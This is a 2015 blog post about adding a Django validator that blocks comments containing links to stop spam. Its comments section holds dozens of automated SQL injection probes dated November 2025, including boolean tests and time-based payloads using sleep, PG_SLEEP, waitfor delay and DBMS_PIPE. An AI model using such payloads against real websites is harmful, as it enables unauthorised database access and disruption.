[x^2 for x in lst]

Links not allowed in comments anymore

2015-05-19

I haven't worked on the actual blog application for almost a year now. Reading computer related books, writing blog entries about them and other topics and working on the math app has just taken too much time. I have a quite long list of things I want to change or add to the blog and I plan to start doing some of these changes in the next month. I'll just have to finish writing about the next language in the 14languages series (which is Scala).

Yesterday, however I became so fed up with the spam bots adding lots of spam comments to some of the entries in the blog so I implemented a small filter that disallows comments containing links. To do that I had to add one file containing exactly four lines of Python code and add validators=[validate_comment] to the CharField representing the text field where the comments are added. Ain't Python (and Django) wonderful ;)

Now there will be no more spam comments added. I hope. If some such comments somehow finds their way pass the filter, I'll have to tweak it to block those as well. We'll see how it goes.

The downside of this is of course that no real comments containing links can be added to the blog entries. That's too bad. Damn bots.


Leave a reply

Your name as it will be displayed when the comment is posted on the page. Your email address will not be published.

Comments

-1' OR 3*2>(0+5+588-588) or '2SyNbrdF'=' 2025-nov-29 09:04 UTC
555
1 2025-nov-29 09:04 UTC
555
-1 OR 3*2>(0+5+544-544) 2025-nov-29 09:04 UTC
555
-1' OR 3*2>(0+5+631-631) -- 2025-nov-29 09:04 UTC
555
if(now()=sysdate(),sleep(15),0) 2025-nov-29 09:04 UTC
555
-1 OR 3+675-675-1=0+0+0+1 -- 2025-nov-29 09:04 UTC
555
-1" OR 2+173-173-1=0+0+0+1 -- 2025-nov-29 09:04 UTC
555
-1' OR 3*2<(0+5+631-631) -- 2025-nov-29 09:04 UTC
555
-1 OR 2+544-544-1=0+0+0+1 2025-nov-29 09:04 UTC
555
-1' OR 2+631-631-1=0+0+0+1 -- 2025-nov-29 09:04 UTC
555
-5 OR 259=(SELECT 259 FROM PG_SLEEP(15))-- 2025-nov-29 09:04 UTC
555
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z 2025-nov-29 09:04 UTC
555
1 2025-nov-29 09:04 UTC
555
-1 OR 3*2>(0+5+675-675) -- 2025-nov-29 09:04 UTC
555
07IMRVjs')) OR 548=(SELECT 548 FROM PG_SLEEP(15))-- 2025-nov-29 09:04 UTC
555
-1' OR 3*2<(0+5+588-588) or '2SyNbrdF'=' 2025-nov-29 09:04 UTC
555
-1 OR 3+544-544-1=0+0+0+1 2025-nov-29 09:04 UTC
555
-1' OR 3+631-631-1=0+0+0+1 -- 2025-nov-29 09:04 UTC
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2025-nov-29 09:04 UTC
555
-1" OR 3*2>(0+5+173-173) -- 2025-nov-29 09:04 UTC
555
-1' OR 3+588-588-1=0+0+0+1 or '2SyNbrdF'=' 2025-nov-29 09:04 UTC
555
-1" OR 3+173-173-1=0+0+0+1 -- 2025-nov-29 09:04 UTC
555
-1 OR 3*2<(0+5+675-675) -- 2025-nov-29 09:04 UTC
555
1 2025-nov-29 09:04 UTC
555
-1" OR 3*2<(0+5+173-173) -- 2025-nov-29 09:04 UTC
555
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z 2025-nov-29 09:04 UTC
555
-1 OR 3*2<(0+5+544-544) 2025-nov-29 09:04 UTC
555
1 waitfor delay '0:0:15' -- 2025-nov-29 09:04 UTC
555
-1' OR 2+588-588-1=0+0+0+1 or '2SyNbrdF'=' 2025-nov-29 09:04 UTC
555
-5) OR 390=(SELECT 390 FROM PG_SLEEP(15))-- 2025-nov-29 09:04 UTC
555
-1 OR 2+675-675-1=0+0+0+1 -- 2025-nov-29 09:04 UTC
555
-1)) OR 700=(SELECT 700 FROM PG_SLEEP(15))-- 2025-nov-29 09:04 UTC
555
1 2025-nov-29 09:05 UTC
-1 OR 3+757-757-1=0+0+0+1 --
1 2025-nov-29 09:05 UTC
-1 OR 3*2<(0+5+757-757) --
1 2025-nov-29 09:05 UTC
-1' OR 2+1-1-1=1 AND 115=115 --
@@TctwH 2025-nov-29 09:05 UTC
555
1 2025-nov-29 09:05 UTC
leGtARBw') OR 321=(SELECT 321 FROM PG_SLEEP(15))--
1 2025-nov-29 09:05 UTC
if(now()=sysdate(),sleep(15),0)
1 2025-nov-29 09:05 UTC
-1' OR 3+190-190-1=0+0+0+1 or '3bL5pqhh'='
1 2025-nov-29 09:05 UTC
-1 OR 3*2<(0+5+206-206)
1 2025-nov-29 09:05 UTC
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 2025-nov-29 09:05 UTC
555
1 2025-nov-29 09:05 UTC
-5) OR 52=(SELECT 52 FROM PG_SLEEP(15))--
1 2025-nov-29 09:05 UTC
-1 OR 2+206-206-1=0+0+0+1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 2025-nov-29 09:05 UTC
555
1 2025-nov-29 09:05 UTC
-1 OR 3+206-206-1=0+0+0+1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2025-nov-29 09:05 UTC
555
1 2025-nov-29 09:05 UTC
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1 2025-nov-29 09:05 UTC
-1' OR 3*2<(0+5+115-115) --
1 2025-nov-29 09:05 UTC
555
1 2025-nov-29 09:05 UTC
Li4nldk6' OR 865=(SELECT 865 FROM PG_SLEEP(15))--
1 2025-nov-29 09:05 UTC
-1)) OR 365=(SELECT 365 FROM PG_SLEEP(15))--
1 2025-nov-29 09:05 UTC
-1' OR 3*2=5 AND 115=115 --
1 2025-nov-29 09:05 UTC
-1 OR 2+757-757-1=0+0+0+1 --
1 2025-nov-29 09:05 UTC
-1 OR 3*2>(0+5+757-757) --
1'" 2025-nov-29 09:05 UTC
555
1 2025-nov-29 09:05 UTC
-1 OR 3*2>(0+5+206-206)
1 2025-nov-29 09:05 UTC
-1" OR 2+233-233-1=0+0+0+1 --
1 2025-nov-29 09:05 UTC
-5 OR 713=(SELECT 713 FROM PG_SLEEP(15))--
1 2025-nov-29 09:05 UTC
-1' OR 3+115-115-1=0+0+0+1 --
1 2025-nov-29 09:05 UTC
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
1'"
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1 2025-nov-29 09:06 UTC
@@wpFC6
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
1JOe5gJO')) OR 60=(SELECT 60 FROM PG_SLEEP(15))--
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:06 UTC
555
1 2025-nov-29 09:08 UTC
555